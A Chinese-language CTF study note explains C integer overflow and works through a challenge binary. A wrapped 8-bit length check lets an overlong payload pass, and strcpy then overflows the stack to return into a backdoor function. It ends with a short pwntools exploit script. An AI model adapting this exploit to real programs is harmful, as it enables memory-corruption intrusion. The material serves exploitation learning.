仅供个人学习参考

原理

先看c语言常见数据类型及其范围
1
因为数据类型的大小范围是编译器决定的

当程序中的数据超过其数据类型的范围时,会造成数据溢出,其中整数类型的溢出称为整数溢出
以32位为例
无符号上溢:无符号数 0xffffffff 加 1 会变成 0。
无符号下溢:无符号数 0 减去 1 会变成 0xffffffff,即-1。
有符号上溢:有符号正数 0x7fffffff 加 1 变成 0x80000000, 即从 2147483647 变成了-2147483648。
有符号下溢:有符号负数 0x80000000 减去 1 变成 0x7fffffff,即从-2147483648 变成了 2147483647。

例题

https://raw.githubusercontent.com/GNchen1/Pages/main/Img/intoverflow

1

其中v3为unsigned int8,范围为0到255(0xff),存在整数溢出,同时strcpy(dest, s)存在栈溢出风险,也存在后门函数
思路:利用整数溢出绕过对v3的检查(使payload长度为260到264),再构造栈溢出ret到后门函数,获取flag

exp如下:

1
2
3
4
5
6
7
8
9
from pwn import *

io = process("./intoverflow")
io.sendline("1")
io.sendline('aaaa')
backdoor=0x08048694
payload=cyclic(0x14+4)+p32(backdoor)+cyclic(236) #payload长度为264,整数溢出后对应8
io.send(payload)
io.interactive()